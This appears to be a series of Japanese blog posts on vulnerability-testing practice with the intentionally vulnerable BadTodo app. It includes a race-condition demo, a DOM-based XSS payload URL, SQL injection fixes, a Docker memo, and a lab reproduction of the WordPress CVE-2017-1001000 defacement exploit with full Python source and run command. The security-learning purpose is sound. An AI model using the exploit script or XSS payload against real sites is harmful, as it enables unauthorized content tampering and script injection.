やられアプリ(やられサイト)BadTodo 脆弱性のまとめ

脆弱性診断実習用アプリ BadTodo 関連投稿へのリンク一覧です。
BadTodo - 1 準備
BadTodo - 2 ZAPでのスキャン
BadTodo - 3.1 SQLインジェクション 認証の回避
BadTodo - 3.2 SQLインジェクション 非公開情報の漏洩
BadTodo - 3.3 SQLインジェクション DB情報の取得
BadTodo - 3.4 SQLインジェクション ID/パスワードの取得
BadTodo - 3.5 SQLインジェクション 情報の改ざん・追加・削除
BadTodo - 3.6 SQLインジェクション MariaDBのパスワード取得
BadTodo - 3.7 SQLインジェクション idパラメータに対して
BadTodo - 3.8 SQLインジェクション sqlmapを使ってみる
BadTodo - 3.9 SQLインジェクション 対策方法
BadTodo - 4.1 XSS(クロスサイト・スクリプティング)
BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
BadTodo - 4.2 XSS ログイン画面で
BadTodo - 4.3 XSS ID毎のTodo一覧画面
BadTodo - 4.4 XSS Todoの削除画面
BadTodo - 4.5 XSS マイページ
BadTodo - 4.6 XSS パスワード変更ページ
BadTodo - 4.7 XSS 対策方法(エスケープ処理)
BadTodo - 4.8 DOM Based XSS
BadTodo - 4.9 XSS URL属性値に対して
BadTodo - 5 オープンリダイレクト
BadTodo - 6 ディレクトリトラバーサル
BadTodo - 7 リモート・ファイルインクルード(RFI)
BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
BadTodo - 8.2 OS コマンド・インジェクション(内部でシェルを呼び出す関数)
BadTodo - 9 Server Side Code Injection - PHP Code Injection
BadTodo - 10.1 CSRF(クロスサイト・リクエスト・フォージェリ)
BadTodo - 10.5 CSRF(対策)
BadTodo - 10.6 CSRF対策トークンの不備
BadTodo - 10.7 XSSによるCSRF対策の突破
BadTodo - 11 HTTP ヘッダ・インジェクション
BadTodo - 12 メールヘッダ・インジェクション
BadTodo - 13 クリックジャッキング
BadTodo - 14 セッション管理の不備
BadTodo - 15 アクセス制御や認可制御の欠落
BadTodo - 16 バッファオーバーフロー
BadTodo - 17 認証(パスワードの強度・ログアウト)
BadTodo - 18 クローラへの耐性
BadTodo - 19 ディレクトリ・リスティング
BadTodo - 20 A4:2017 - XML外部エンティティ参照 (XXE)
BadTodo - 21 A10:2021 - サーバーサイドリクエストフォージェリ(SSRF)
BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
BadTodo - 23 適切でないアップロートファイル制限
BadTodo - 24.1 NULLバイト攻撃(+ファイルインクルード)
BadTodo - 24.2 NULLバイト攻撃(+SQLインジェクション)
BadTodo - 24.3 NULLバイト攻撃(+XSS)
BadTodo - 25 TOCTOU競合
BadTodo - 26 レースコンディション

BadTodoは以下の脆弱性を網羅しています

IPA 安全なウェブサイトの作り方 第7版より
1.1 SQLインジェクション
1.2 OSコマンド・インジェクション
1.3 パス名パラメータの未チェック/ディレクトリ・トラバーサル
1.4 セッション管理の不備
1.5 クロスサイト・スクリプティング
1.6 CSRF(クロスサイト・リクエスト・フォージェリ)
1.7 HTTPヘッダ・インジェクション
1.8 メールヘッダ・インジェクション
1.9 クリックジャッキング
1.10 バッファオーバーフロー
1.11 アクセス制御や認可制御の欠落

ウェブ健康診断仕様より
(安全なウェブサイトの作り方との重複点をグレーアウト)
1 (A) SQL インジェクション
2 (B) クロスサイト・スクリプティング
3 (C) CSRF(クロスサイト・リクエスト・フォージェリ)
4 (D) OS コマンド・インジェクション
5 (E) ディレクトリ・リスティング
6 (F) メールヘッダ・インジェクション
7 (G) パス名パラメータの未チェック/ディレクトリ・トラバーサル
8 (H) 意図しないリダイレクト(オープンリダイレクト)
9 (I) HTTP ヘッダ・インジェクション
10 (J) 認証
11 (K) セッション管理の不備
12 (L) 認可制御の不備、欠落
13 (M) クローラへの耐性

OWASP Top 10 2017(重複をグレーアウト)
A1:2017 - インジェクション(A03:2021- インジェクション)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A2:2017 - 認証の不備(A07:2021-識別と認証の失敗)
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A3:2017 - 機微な情報の露出
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
A4:2017 - XML 外部エンティティ参照(XXE) (A05:2021-セキュリティの設定ミス)
 BadTodo - 20 XML外部エンティティ参照 (XXE)
A5:2017 - アクセス制御の不備(A01:2021-アクセス制御の不備)
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A6:2017 - 不適切なセキュリティ設定(A05:2021-セキュリティの設定ミス)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
A7:2017 - クロスサイトスクリプティング (XSS)
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
A8:2017 - 安全でないデシリアライゼーション(A08:2021-ソフトウェアとデータの整合性の不具合)
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A9:2017 - 既知の脆弱性のあるコンポーネントの使用(A06:2021-脆弱で古くなったコンポーネント)
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 BadTodo - 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A10:2017 - 不十分なロギングとモニタリング(A09:2021-セキュリティログとモニタリングの失敗)
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。badtodo/docs/vulnerabilities.md at main · ockeghem/badtodo · GitHub

OWASP Top 10 2021
A01:2021-アクセス制御の不備
 BadTodo - 15 アクセス制御や認可制御の欠落
 BadTodo - 10 CSRF(クロスサイト・リクエスト・フォージェリ)
 BadTodo - 19 ディレクトリ・リスティング
A02:2021-暗号化の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
 (SSL(TLS)の設定)
 (HSTS)
 (パスワードの平文保存)
A03:2021-インジェクション
 BadTodo - 4 XSS(クロスサイト・スクリプティング)
 BadTodo - 3 SQLインジェクション
 BadTodo - 8 OS コマンド・インジェクション
 BadTodo - 9 Server Side Code Injection
A04:2021-安全が確認されない不安な設計
 BadTodo - 18 クローラへの耐性
(CWE-312 重要な情報が平文のまま格納されている問題)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(CWE-434 適切でないアップロートファイル制限)
 BadTodo - 23 適切でないアップロートファイル制限 CWE-434
(CWE-598 GETリクエストのクエリ文字列からの情報漏洩)
 BadTodo - 14 セッション管理の不備
A05:2021-セキュリティの設定ミス
 A4:2017 - XML 外部エンティティ参照 (XXE)
 BadTodo - 19 ディレクトリ・リスティング
(詳細なエラーメッセージの表示)
 BadTodo - 3 SQLインジェクション
 BadTodo - 6 ディレクトリトラバーサル
(クッキーへの機密情報の保存)
 BadTodo - 15 アクセス制御や認可制御の欠落
(クッキーのセキュア属性不備)
 BadTodo - 14 セッション管理の不備
(HttpOnly属性不備)
 BadTodo - 4.1.1 XSS 対策方法(HttpOnly属性の付与)
(セキュリティヘッダの不備)
A06:2021-脆弱で古くなったコンポーネント
(ソフトウェアが脆弱な場合やサポートがない場合、また使用期限が切れている場合)
 8.1 OS コマンド・インジェクション(リモートコード実行。CVE-2012-1823)
A07:2021-識別と認証の失敗
 BadTodo - 17 認証(パスワードの強度・ログアウト)
(パスワードをデータストアに保存する際に、プレーンテキストのままで保存している)
 BadTodo - 3.4 SQLインジェクション ID・パスワードの取得
(セッション識別子がURLの一部として露出してしまっている)
(ログイン後にセッション識別子を使いまわしている)
(セッションIDを正しく無効化していない)
 BadTodo - 14 セッション管理の不備
A08:2021-ソフトウェアとデータの整合性の不具合
 安全でないデシリアライゼーション
 BadTodo - 22 A8:2017 - 安全でないデシリアライゼーション
A09:2021-セキュリティログとモニタリングの失敗
(ログと監視が不十分で、組織が知らないうちに攻撃者に脆弱性を突かれること)(ロギングとモニタリングに関しては、ブラックボックスでの診断は難しく、ソースコード診断になるかと思います。badtodo/docs/vulnerabilities.md at main · ockeghem/badtodo · GitHub
 (ログからの情報漏洩)
A10:2021-サーバーサイドリクエストフォージェリ(SSRF)
 BadTodo - 21 サーバーサイドリクエストフォージェリ(SSRF)

BadTodo は
安全なWebアプリケーションの作り方 第2版
にも対応しています。各脆弱性への対応策もまだ記述できていませんので作成を続けていきます。

Docker フォルダのマウント。ホストでの場所。

毎度忘れるのでメモ。

コンテナの中でファイルを作成しても、コンテナを削除すると消える。そこでホスト側のフォルダをコンテナにマウントすることで永続化する。
データベースの保持 — Docker-docs-ja 24.0 ドキュメント

環境
・Windows10
・Docker Desktop v4.26.1

volume でマウント

基本的にはホスト側から操作するべきではないため、ホスト側でボリュームがどこに作成されるか意識する必要はない。とはいえ一応知りたい場合。
例として
> docker container run -it --rm --mount src=volumetest,dst=/tmp/volumetest python:3.9.18-slim-bullseye /bin/bash
で作成した場合。

# ls /tmp/
volumetest
# echo "test-desu" > /tmp/volumetest/test.txt
# ls /tmp/volumetest/
test.txt
# exit
exit

Volume が作成されている。

PS C:\Users\hoge> docker volume inspect volumetest
[
    {
        "CreatedAt": "2024-01-13T11:49:48Z",
        "Driver": "local",
        "Labels": null,
        "Mountpoint": "/var/lib/docker/volumes/volumetest/_data",
        "Name": "volumetest",
        "Options": null,
        "Scope": "local"
    }
]

"Mountpoint": "/var/lib/docker/volumes/volumetest/_data" とのことで、Windows上では下記となる。

bind でマウント

バインド マウント(bind mount) の使用 — Docker-docs-ja 24.0 ドキュメント
ホスト側でもフォルダの内容を操作したい場合に利用する。ホスト側の任意のフォルダを割り当てる。
bindの方がvolumeよりアクセス速度が遅い

Windows上にフォルダを作成
PS C:\Users\hoge> mkdir bindtest

    Directory: C:\Users\hoge

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----       2024/01/13 土    21:21                bindtest

フォルダに移動
PS C:\Users\hoge> cd .\bindtest\
コンテナ起動とマウント
PS C:\Users\hoge\bindtest> docker container run -it --rm --mount "type=bind,src=$pwd,dst=/tmp/bindtest" python:3.9.18-slim-bullseye /bin/bash

テストファイルを作成
# echo "test-desu" > /tmp/bindtest/test.txt
# ls /tmp/bindtest/
test.txt
# exit
exit

PS C:\Users\hoge\bindtest> ls

    Directory: C:\Users\shink\bindtest

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---       2024/01/13 土    21:52             10 test.txt

後始末。テストファイルとフォルダの削除
PS C:\Users\shink\bindtest> cd ../
PS C:\Users\shink> rm -R .\bindtest\
PS C:\Users\shink>

Macについては後日確認。

やられアプリ BadTodo - 26 レースコンディション

前回:やられアプリ BadTodo - 25 TOCTOU競合 - demandosigno

競合状態 (race condition)
情報処理における競合状態は「イベントタイミングへの予期せぬ依存が引き起こす異常な振る舞い」である。特に複数のプロセスやスレッドが通信しながら動作する場合(並行計算)に発生するが、単一スレッドで動作している場合であっても、シグナルによる割り込みが原因で発生することもある。
競合状態 - Wikipedia

TOCTOUも競合状態の一種と考えて良いようです。

システム開発のセキュリティにおいてレースコンディションと TOCTOU は、しばしば混同して使われることがありますが、それぞれの違いについて用語の整理から確認していきましょう。
レースコンディション(Race Condition)とは、複数の処理が同じデータに対してアクセスしたときに、競合状態になることで想定外の処理が引き起こされる問題です。
対して TOCTOU(Time Of Check To Time Of Use)とは、あるデータの検証時点と使用時点での状態の差異によって想定外の処理が引き起こされる問題です。
つまりレースコンディションは、さまざまな競合状態の問題を表す包括的な脆弱性なのに対し、TOCTOU はより実装の状況を限定した具体的な脆弱性であることが分かります。
TOCTOU/レースコンディション | WebApp Testing

BadTodoでの例

Todoの添付ファイル機能でファイル名の競合が起きます。

今、userA, userBというアカウントがいて、1件Todoを作成済みです。非公開としていますのでお互いには見えていません。

そして一方をブラウザのシークレットモードで開いて、二人平行して操作していきます。
Todo編集画面に入り、添付ファイルを1件追加します。
ファイル名は同一にしますが (test.txt) 内容はそれぞれのものです。

それぞれ横に並べて「更新」ボタンを続けてクリックして登録してみます。

ファイル名にマウスを乗せ確認してみます。さすがにそのままのファイル名ではなく、頭に別の文字列が付与されていますが 6589a3e5-test.txt、6589a3e6-test.txt のように1だけしか差がありません。

Burpの送信結果を見ると1秒差で送信されていることが分かります。

もっと同時に送信してみる

一旦添付ファイルを削除します。
1秒で1差ということはそれほど厳密に分けられてはなさそうです。であればシェルから&で繋げてリクエストする程度でいけるかもと考えcurlで試すことにしました。 他のコンテナからリクエストを送ってもよいですが今回はBadTodoにcurlをインストールしました。

# apt install curl

一つ分のPOSTリクエストが下記です。
# curl --cookie "TODOSESSID=7afb65ad5ab2c8a1c00c4343f7261a0d" https://todo.example.jp/editdone.php -x http://host.docker.internal:8080/ -F todotoken=89cf61981938e3235a7b0c199e2cd7e8 -F item=4 -F todo=TestA -F c_date=2023-12-29 -F attachment=@/var/www/materials/a/test.txt -k
TODOSESSIDとtodotoken、item番号はブラウザやBurpSuiteから適宜取得して置き換えてください。-x オプションでBurpProxyを通しています。
添付ファイルは /var/www/materials/ 辺りに/a/ /b/とフォルダ分けして置いておきます。

そしてAとB二つ分のリクエストを&で繋いで送信用意(添付ファイルのディレクトリを変更し忘れないように)。送信。
# curl --cookie "TODOSESSID=7afb65ad5ab2c8a1c00c4343f7261a0d" https://todo.example.jp/editdone.php -x http://host.docker.internal:8080/ -F todotoken=89cf61981938e3235a7b0c199e2cd7e8 -F item=4 -F todo=TestA -F c_date=2023-12-29 -F attachment=@/var/www/materials/a/test.txt -k & curl --cookie "TODOSESSID=c240286adc0891c0e2a82f54619d8b93" https://todo.example.jp/editdone.php -x http://host.docker.internal:8080/ -F todotoken=d9d2d93c78500173d6d71bd5a2fef27e -F item=5 -F todo=TestB -F c_date=2023-12-29 -F attachment=@/var/www/materials/b/test.txt -k

二つのPOSTリクエストが1秒未満の間隔で送受信されました。

ファイル名を確認すると6595a3e9-test.txtまったく同じになってしまっていることが分かります。

ファイルを右クリックし「新しいタブで開く」から中身を確認すると、testBユーザにtestAユーザの内容が表示されます。またtestBユーザの元のファイルが消えてしまったことも問題です。

BurpSuite の Intercept を使う方法

上の例ではcurlを使ってリクエストを送信しましたが、BurpSuiteの Intercept機能を使えばまとめて送信することができました。こちらの方が簡単です。

Todo編集画面を横に並べて「更新」ボタンをクリックする前に、BurpSuiteの Interceptを「ON」にしておきます。

その後で「更新」を双方のんびりクリック。

リクエストがBurpで止められているので「Intercept is on」ボタンを再度クリックして全部のリクエストを流します。

同じファイル名になりました。

今回のように1秒も猶予があるようなシステムはそうないのでは?と思っていたのですが

川崎市様における証明書誤交付ついて : 富士通Japan株式会社
本事象の原因は、2か所のコンビニで、2名の住民の方が同一タイミング(時間間隔1秒以内)で証明書の交付申請を行った

の様な事例がありました。

他の部分にも幾つか存在するようですので引き続き探します。

スクリプトキディから始めるハッカー実践入門

次の動画(45:20~)で徳丸さんが行っていたハッカー入門をそのままやってみた。

  • WordPressの有名な脆弱性を題材として脆弱性について学ぶ
  • 「スクリプトキディ」は低級ハッカーの意味で使われるが、誰もがはじめから高度な攻撃手法を編み出すことはできないので既知の攻撃手法から学ぶことは有益
  • コピペすれば動くというものでもなく、スクリプトキディはそれほど簡単ではない
  • やってみれば色々身に付くよ
    というお話。

私はMacではなくWindows10で試しています。
youtu.be

NVD - CVE-2017-1001000
JVNDB-2017-002318 - JVN iPedia - 脆弱性対策情報データベース
WordPressにログインすることなく任意のコンテンツが改ざんできるという脆弱性。

WordPress 4.7.0 の導入の準備

WordPress Compatibility – Make WordPress Hosting

よって、PHP7.1、MariaDB10.1で試しました。

Xdebugは2.9.8を利用します。
Xdebug: Documentation » Supported Versions and Compatibility

最新Verはこちらで確認
GitHub - xdebug/xdebug at xdebug_2_9

フォルダ構成

/WordPress4.7
  ├── docker-compose.yml
  └── /php
     └── Dockerfile

Dockerfile

FROM php:7.1-apache
RUN a2enmod rewrite && \
    pecl install xdebug-2.9.8 && \
    docker-php-ext-enable xdebug && \
    docker-php-ext-install mysqli
# COPY xdebug.ini /usr/local/etc/php/conf.d/xdebug.ini
WORKDIR /var/www/html

xdebug.ini のコピーについては後で別途ダウンロードすることにし、ここではコメントアウトしました。

docker-compose.yml

version: "3"
services:
  php:
    build: php
    depends_on:
      - db
    ports:
      - "8000:80"
    volumes:
      - ./html:/var/www/html
  db:
    image: mariadb:10.1
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress

volumes:
 db_data:

> docker-compose up -d
インストール完了後、各種確認。Xdebugもインストールされている。

# cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"

# php -v
PHP 7.1.33 (cli) (built: Nov 22 2019 18:28:25) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologies
    with Xdebug v2.9.8, Copyright (c) 2002-2020, by Derick Rethans

# service apache2 status
[ ok ] apache2 is running.

phpinfoを作って確認してみる。

# apt update && apt upgrade
# apt install vim
# vi phpinfo.php
<?php phpinfo(); ?>

Xdebugの設定と実行テスト

# cd /usr/local/etc/php/conf.d
# curl -O https://raw.githubusercontent.com/xdebug/xdebug/xdebug_2_9/xdebug.ini
# vi xdebug.ini
以下を追記
[xdebug]
;xdebug.remote_host = host.docker.internal // この行を記載するとVSCodeを立ち上げるとうまく動かなくなったため一旦コメントアウトしています。
(コンテナ上での localhost はコンテナ自身を参照してしまうので「host.docker.internal」でコンテナからホスト上のサービスにアクセスすることができるのですが、このあたりきちんと理解できていません)  
xdebug.remote_enable=1
xdebug.remote_autostart=1
xdebug.remote_port=9003

コンテナ再起動後。phpinfo内にXdebugが表示されていることを確認。

VSCodeでLocalにインストールされている拡張機能PHPdebugをクリックしてコンテナの方にもインストールする。

launch.jsonファイルを作成

launch.json

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Listen for Xdebug",
            "type": "php",
            "request": "launch",
            "port": 9003,
            "pathMappings": {
                "${workspaceRoot}/html": "${workspaceRoot}/html"
            }
        }
    ]
}

デバッグ実行してからブラウザを開き、ブレークポイントで止まるか確認。

WordPress 4.7のインストール

# pwd
/var/www/html
# curl -O https://ja.wordpress.org/wordpress-4.7.1-ja.tar.gz
# tar xf wordpress-4.7.1-ja.tar.gz
# ls -l
drwxr-xr-x 1 nobody nogroup    4096 Jan 12  2017 wordpress
# chown -R www-data:www-data wordpress
# ls -l
drwxr-xr-x 1 www-data www-data    4096 Jan 12  2017 wordpress
# rm wordpress-4.7.1-ja.tar.gz

http://localhost:8000/wordpress/ にアクセス。docker-compose.ymlに合わせて設定。インストール実行。

管理画面にログイン。テーマを変えてみたり、一件投稿してみたりする。

CVE-2017-1001000 の準備

エクスプロイトコード
WordPress 4.7.0 / 4.7.1 REST API Privilege Escalation ≈ Packet Storm

Pythonとモジュールのインストール

# apt install python3 python3-venv python3-pip
# python3 -V
Python 3.7.3

# pip3 install requests fake_useragent

CVE-2017-1001000.py を作成

#!/usr/bin/env python
'''
    WordPress 4.7.0-4.7.1 REST API Post privilege escalation / defacement exploit
'''
import requests
from fake_useragent import UserAgent
import argparse
import urllib.parse
import random
import string
proxies = {
    'http' : 'http://host.docker.internal:8080',
    'https' : 'http://host.docker.internal:8080'
}

def attack(target, postID, payload):
    ua = { 'user-agent': UserAgent().random }
    uwotm8 = ''.join([random.choice(string.ascii_letters) for n in range(8)])
    sploit_api = 'http://{}/index.php?rest_route=/wp/v2/posts/{}&id={}{}&content={}'.format(target, postID, postID, uwotm8, payload)
    attack = requests.post(sploit_api, data = {}, headers=ua, verify=False, proxies=proxies)
    if attack.status_code == 200:
        print('Payload sent to {} with 200 status'.format(target))
    else:
        print('Payload sent to {}, but we are not sure if the attack was successful as {} was the response'.format(target, attack.status_code))

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='WordPress 4.7.0-4.7.1 REST API Post privilege escalation / defacement exploit')
    parser.add_argument('--target', '-t', type=str, required=True, help='Post ID in which the payload will be applied')
    parser.add_argument('--postID', '-pid', type=str, required=True, help='Post ID in which the payload will be applied')
    parser.add_argument('--payload', '-p', type=str, required=True, help='What you would like to replace the post with')

    args = parser.parse_args()
    target = args.target
    postID = args.postID
    payload = urllib.parse.quote_plus(args.payload)
    attack(target, postID, payload)

VSCodeのコンテナにPython拡張機能をインストール。

launch.jsonにPython用の設定と送信パラメータを追記。

{
    "version": "0.2.0",
    "configurations": [
        {
            "name": "Python: 現在のファイル",
            "type": "python",
            "request": "launch",
            "program": "${file}",
            "console": "integratedTerminal",
            "justMyCode": true,
            "args": [
                "-t",
                "localhost:8000/wordpress",
                "-pid",
                "4", // これは1件投稿したため4となっていますが、追加投稿していない場合は1で。管理画面・投稿一覧の post 番号に合わせてください。
                "-p",
                "Hacked by demandosigno",
            ]
        },
        {
            "name": "Listen for Xdebug",
            "type": "php",
            "request": "launch",
            "port": 9003,
            "pathMappings": {
                "${workspaceRoot}/html": "${workspaceRoot}/html"
            }
        }
    ]
}

デバッガ実行 エラー
『Python 拡張機能のデバッガーでは、3.7 より小さい Python バージョンがサポートされなくなりました。』

『3.7 より小さい』であればインストールしてある Python 3.7.3で問題なさそうですが…。今回は拡張機能のバージョンを落とします。コンテナ―の方の(LOCALではない)拡張機能を右クリック→「別のバージョンをインストール」→ Python v2022.0.1786462952, Pylance 2022.7.40 を選択、インストール → 再読み込み。

再度デバッグ実行。問題なく動きブレークポイントで止まりました。

そのまま進めます。ステータスコード200で無事通ったようです。

最期まで実行後、ブラウザで確認。改ざんできていました。

Burpの方も確認

このPythonスクリプトをコマンドで打つ場合は次の通り。

# python3 CVE-2017-1001000.py --target localhost:8000/wordpress --postID 4 --payload "Hacked by demandosigno"

残りは動画通りで特に詰まるところはないと思います。

WordPressの中身を追いかける

リピーターで再送信。

権限のチェックに不備があります。

修正版のWordPress-4.7.2 も確認

# curl -O https://ja.wordpress.org/wordpress-4.7.2-ja.tar.gz
# mkdir wordpress-4.7.2 && tar xf wordpress-4.7.2-ja.tar.gz -C wordpress-4.7.2 --strip-components 1
# chown -R www-data:www-data wordpress-4.7.2
# mv wordpress wordpress-4.7.1
# mv wordpress-4.7.2 wordpress

wordpress-4.7.1 と同様に初期設定を行う。

次の画面が出たら先には進まずに、

ログインして確認すると、
Wordpress-4.7.2になっています。

再度エクスプロイト実行。今度は無事エラーになりました。

動画の後書きより。

  • 意外に難しい
  • 正常系ができないと異常系ができるわけがない
  • いっぱい手を動かして脆弱性の検証方法を身につけましょう

やられアプリ BadTodo - 4.8 DOM Based XSS

前回:やられアプリ BadTodo - 4.7 XSS 対策方法(エスケープ処理) - demandosigno

DOM Based XSSについて。

BadTodoのトップページhttps://todo.example.jp/todolist.phpですが、このURLの後ろに#とスクリプトを追記するとXSSが発動します。
https://todo.example.jp/todolist.php#%22]%3Cimg%20src=/%20onerror=alert(1)%3E

 

#(フラグメント識別子、またはハッシュ)

URLに付く#以下の部分に応じて表示内容を変化させるアプリケーションがあります。 ブラウザのデベロッパーツールにてコードを見てみるとlocation.hashでURLの#以降の値を取得しています。

#はページ内リンクに使われたりもしますが、この例では#の値に従ってチェックボックスにチェックを付ける動作をします。#2,4とするとid[]=2,4にチェックが付きます(id[]=3のTodoは非公開のため表示されていない)。

最初からチェックが付いているページを用意するなどの用途に使えます。

jQueryの機能の不適切な利用

 jQueryには、jQuery( )という関数があり、多くの場合 $( )という別名で使用されます。この$関数に様々な引数を与えることで多様な動作を簡潔に指定できます。この機能はjQueryのセレクタと呼ばれ多用されています。
$('input[name="foo"]'):input要素で name 属性が foo のものを取得。
 一方で、$関数(jQuery関数)は、下記のようにHTMLタグ文字列を指定すると、DOM要素を生成します。
$('<p>Hello</p>')
 このため、jQueryのセレクタとして要素を指定しているつもりでも、セレクタ指定文字列に外部からの入力が混ざっていると、攻撃者が新しい要素を生成できる場合があります。
「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 p.437」

今回のコード内で対応する部分が
$('input[name="id[]"][value="' + id + '"]').prop('checked', true);
です。prop()は要素の属性を取得・設定するメソッドです。開発ツールで行数部分をクリックすることでブレークポイントを作って動作を確認できます。
id部分に2が入っており、結果<input type="checkbox" name="id[]" value="2">にchecked属性を設定します。
このように、DOMを使用することでスクリプトからHTMLを操作することが可能になります。

さて、このとき#"]<img src=/ onerror=alert(1)>だったとするとこうなります。

セレクタは$('input[name="id[]"][value=""]<img src=/ onerror=alert(1)>"]').prop('checked', true);となり、新たなimg要素が作られ、onerrorイベントによりJavaScriptが実行されます。

対策

  • 最新のライブラリを用いる
  • $( ) や jQuery( )の引数は動的生成しない
  • 適切なDOM操作あるいは記号のエスケープ
  • eval、setTimeout、Functionコンストラクタなどの引数に、文字列形式で外部からの値を渡さない
    など

jQueryの新しいバージョンは入力がハッシュ#で始まる場合にセレクターにHTMLを挿入できないようにすることでこの脆弱性を修正しました。
Download jQuery | jQueryより最新の jQueryをダウンロードし読み込み先を修正します。

<script src="./js/jquery-1.8.3.js"></script> // BadTodoの現状
                           ↓
<script src="./js/jquery-X.X.X.js"></script> // 最新版を使う

そうするとシンタックスエラーとなりXSSは実行されません。

これでセレクタによるDOM Based XSSは防げますが予防としてアプリケーション側でも引数は動的生成しないことを推奨します。
例えば以下のようにfindメソッドを用いることで、動的にHTML要素を生成されることはなくなります。入力値のチェックも行っています。

} else {
  var a = checklist.split(',');
  a.map(function(id) {
    var id = parseInt(id);
    if (!isNaN(id)) {
      $('#contents').find('input[name="id[]"][value="' + id + '"]').prop('checked', true);
    };
  });
}

その他

URL上の半角スペースに%20ではなく参考書籍と同様に+を使った場合はうまくいきませんでした。書籍ではクエリー文字列の取り扱いに URI.min.js を使っているなど少し差異があるためかと思います。

反射型・格納型XSSはサーバ上でHTMLの生成が行われます。BadTodoの場合、サーバー上のPHP実行エンジンがファイルや入力値の内容を解釈して処理を行い、HTMLを作成してレスポンスとして返します。一方 JavaScriptによってクライアント上でHTMLを組み立てると攻撃用のコード部分がサーバにリクエストとして送信されません。脆弱性検査ツールではリクエスト内に含まれる文字列がレスポンス内に現れるか否かで探しているものが多いためこのタイプの脆弱性は発見できない場合があります。

BurpSuiteの組み込みブラウザには「Dom Invader」という機能があり、DOM Based XSSのチェックに使えるようです。まだ使い方を理解していません。

DOM Invader - PortSwigger

参考にしたサイト:
第6回 DOM-based XSS その1 | gihyo.jp
DOM Based XSSとは|図でわかる脆弱性の仕組み | ユービーセキュア
What is DOM-based XSS (cross-site scripting)? Tutorial & Examples | Web Security Academy
IPA - DOM Based XSSに関するレポート
location: hash プロパティ - Web API | MDN
【jQuery入門】prop(attr)の使い方と属性値の取得・設定まとめ! | 侍エンジニアブログ

次回:やられアプリ BadTodo - 4.9 XSS URL属性値に対して - demandosigno

やられアプリ BadTodo - 3.9 SQLインジェクション 対策方法

前回:BadTodo - 3.8 SQLインジェクション sqlmapを使ってみる - demandosigno

これまで検査方法についてIPAのサイトや徳丸本を参考にしてきましたが、対策方法についても同様です。
安全なウェブサイトの作り方 - 1.1 SQLインジェクション | 情報セキュリティ | IPA 独立行政法人 情報処理推進機構
安全なSQLの呼び出し方

特にBadTodoはもともと徳丸本の付属資料の一つですので、並行して読んだ方が絶対によいです。
体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 | SBクリエイティブ

根本的解決

  • SQL文の組み立ては全てプレースホルダで実装する。
  • SQL文の組み立てを文字列連結により行う場合は、エスケープ処理等を行うデータベースエンジンのAPIを用いて、SQL文のリテラルを正しく構成する。
  • ウェブアプリケーションに渡されるパラメータにSQL文を直接指定しない。

SQL文の組み立ては全てプレースホルダで実装する

 SQLには通常、プレースホルダを用いてSQL文を組み立てる仕組みがあります。SQL文の雛形の中に変数の場所を示す記号(プレースホルダ)を置いて、後に、そこに実際の値を機械的な処理で割り当てるものです。ウェブアプリケーションで直接、文字列連結処理によってSQL文を組み立てる方法に比べて、プレースホルダでは、機械的な処理でSQL文が組み立てられるので、SQLインジェクションの脆弱性を解消できます。
 プレースホルダに実際の値を割り当てる処理をバインドと呼びます。バインドの方式には、プレースホルダのままSQL文をコンパイルしておき、データベースエンジン側で値を割り当てる方式(静的プレースホルダ)と、アプリケーション側のデータベース接続ライブラリ内で値をエスケープ処理してプレースホルダにはめ込む方式(動的プレースホルダ)があります。静的プレースホルダは、SQLのISO/JIS規格では、準備された文(Prepared Statement)と呼ばれます。
 どちらを用いてもSQLインジェクション脆弱性を解消できますが、原理的にSQLインジェクション脆弱性の可能性がなくなるという点で、静的プレースホルダの方が優ります。詳しくは本書別冊の「安全なSQLの呼び出し方」のプレースホルダの項(3.2節)を参照してください。
安全なウェブサイトの作り方 - 1.1 SQLインジェクション | 情報セキュリティ | IPA 独立行政法人 情報処理推進機構
IPA - 別冊:安全なSQLの呼び出し方

詳細は上記資料にお任せすることにして、ここではBadTodoに対して実際に修正してみた例を記載します。

ログイン画面(logindo.php の userid, pwd)に対して

元のコードが入力値を SQL文に直に放り込む形になっている所を、静的プレースホルダを使って書き換えます。
プレースホルダにはコロン:param?を使います。PHPは双方使えてBadTodoでも両方が使われていますが今回は?で試します。
PHP: プリペアドステートメントおよびストアドプロシージャ - Manual
PHP: PDO::prepare - Manual
